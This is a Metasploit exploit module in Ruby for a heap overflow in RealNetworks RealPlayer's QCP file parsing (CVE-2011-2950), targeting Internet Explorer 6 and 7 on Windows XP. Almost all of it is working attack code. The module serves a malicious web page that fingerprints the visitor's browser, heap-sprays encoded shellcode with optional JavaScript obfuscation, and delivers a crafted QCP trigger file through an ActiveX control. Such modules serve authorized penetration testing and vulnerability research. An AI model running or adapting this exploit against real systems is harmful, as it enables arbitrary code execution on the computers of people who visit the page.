RealNetworks Realplayer QCP Parsing Heap Overflow

`##  
# $Id: realplayer_qcp.rb 13745 2011-09-17 06:48:33Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "RealNetworks Realplayer QCP Parsing Heap Overflow",  
'Description' => %q{  
This module exploits a heap overflow in Realplayer when handling a .QCP file.  
The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is  
allocated on the heap and user-supplied data from the file is copied within a  
memory copy loop.  
  
This allows a remote attacker to execute arbitrary code running in the context  
of the web browser via a .QCP file with a specially crafted "fmt" chunk.  
At this moment this module exploits the flaw on Windows XP IE6, IE7.  
},  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 13745 $",  
'Author' =>  
[  
'Sean de Regge', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2011-2950'],  
['OSVDB', '74549'],  
['BID', '49172'],  
# ZDI advisory  
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'],  
# Vendor advisory  
['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'],  
#Fix commit  
['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'],  
],  
'Payload' =>  
{  
'Space' => 1024  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "process",  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ],  
[ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ],  
],  
'DisclosureDate' => "Aug 16 2011",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])  
], self.class)  
end  
  
def get_target(cli, request)  
#Default target  
my_target = target  
  
vprint_status("User-Agent: #{request.headers['User-Agent']}")  
  
if target.name == 'Automatic'  
agent = request.headers['User-Agent']  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/  
#Windows XP + IE 6  
my_target = targets[1]  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/  
#Windows XP + IE 7.0  
my_target = targets[2]  
elsif agent =~ /RMA/  
#RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)"  
#when requesting our trigger file  
return 'RMA'  
else  
#If we don't recognize the client, we don't fire the exploit  
my_target = nil  
end  
end  
  
return my_target  
end  
  
def exploit  
#Set trigger file name  
@filename = rand_text_alpha(rand(6) + 3)  
#Create the trigger file  
@trigger = build_trigger  
super  
end  
  
def on_request_uri(cli, request)  
#Pick the right target  
vprint_status("Selecting target...")  
my_target = get_target(cli, request)  
if my_target.nil?  
print_error("Target not supported")  
send_not_found(cli)  
return  
end  
  
vprint_status("URL: #{request.uri.to_s}")  
  
#Send the trigger file upon request  
if request.uri.match(/\.qcp$/)  
print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}")  
send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' })  
return  
end  
  
vprint_status("Building shellcode...")  
code = Rex::Text.to_unescape(payload.encoded)  
  
vprint_status("Building spray...")  
spray = build_spray(my_target, code)  
  
#obfuscate on demand  
vprint_status("Obfuscating javascript...")  
if datastore['OBFUSCATE']  
spray = Rex::Exploitation::JSObfu.new(spray)  
spray.obfuscate  
end  
  
vprint_status("Building html...")  
#Value for the 'Src' parameter of our ActiveX control  
trigger_file = ""  
if ("/" == get_resource[-1,1])  
trigger_file = get_resource[0, get_resource.length - 1]  
else  
trigger_file = get_resource  
end  
trigger_file << "/#{@filename}.qcp"  
  
  
html = <<-EOS  
<HTML>  
<HEAD>  
</HEAD>  
<BODY>  
<script language='javascript'>  
#{spray}  
</script>  
<OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240>  
<PARAM NAME="SRC" VALUE="#{trigger_file}">  
<PARAM NAME="CONTROLS" VALUE="ImageWindow">  
<PARAM NAME="CONSOLE" VALUE="one">  
<PARAM NAME="AUTOSTART" VALUE="true">  
<EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true>  
</OBJECT>  
</BODY>  
EOS  
  
print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...")  
send_response( cli, html, {'Content-Type' => 'text/html'} )  
end  
  
def build_trigger()  
overflow_size = 700  
overflow_string = "\x11" * 700  
  
#riff_mark  
trigger = "\x52\x49\x46\x46"  
#total_size  
trigger << [0xed44 + overflow_size].pack("V")  
#qlcm_tag  
trigger << "\x51\x4c\x43\x4d"  
#fmt_tag  
trigger << "\x66\x6d\x74\x20"  
#fmt_size  
trigger << [0x96 + overflow_size].pack("V")  
#fmt_content  
trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90"  
trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00"  
trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20"  
trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45"  
trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20"  
trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65"  
trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f"  
trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65"  
trigger << "\x65\x63\x68\x20\x53\x65\x72\x76"  
trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69"  
trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00"  
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"  
trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00"  
trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00"  
trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02"  
trigger << "\x02\x01\x00\x00\x00\x00\x00\x00"  
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"  
trigger << "\x00\x00\x00\x00\x00\x00\x00\x00"  
trigger << "\x00\x00\x00\x00\x00\x00"  
trigger << overflow_string  
#vrat_tag  
trigger << "\x76\x72\x61\x74"  
#vrat_size  
trigger << [0x8].pack("V")  
#vrat_content  
trigger << "\x01\x00\x00\x00\x06\x13\x00\x00"  
#data_tag  
trigger << "\x64\x61\x74\x61"  
#data_size  
trigger << [0xec8a].pack("V")  
#data_content  
trigger << rand_text_alpha(0xec8a)  
return trigger  
end  
  
def build_spray(mytarget, code)  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
  
var code = unescape("#{code}");  
var nops = unescape("#{mytarget['Nops']}");  
  
while (nops.length < 0x10000) nops += nops;  
offset = nops.substring(0, 0x7BE0);  
var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length);  
  
while (shellcode.length < 0x20000) shellcode += shellcode;  
block = shellcode.substring(0, (0x10000-6)/2);  
  
heap_obj.gc();  
  
for (var i=0; i < 0x1400; i++) {  
heap_obj.alloc(block);  
}  
JS  
  
spray = heaplib(spray)  
return spray  
end  
  
end  
`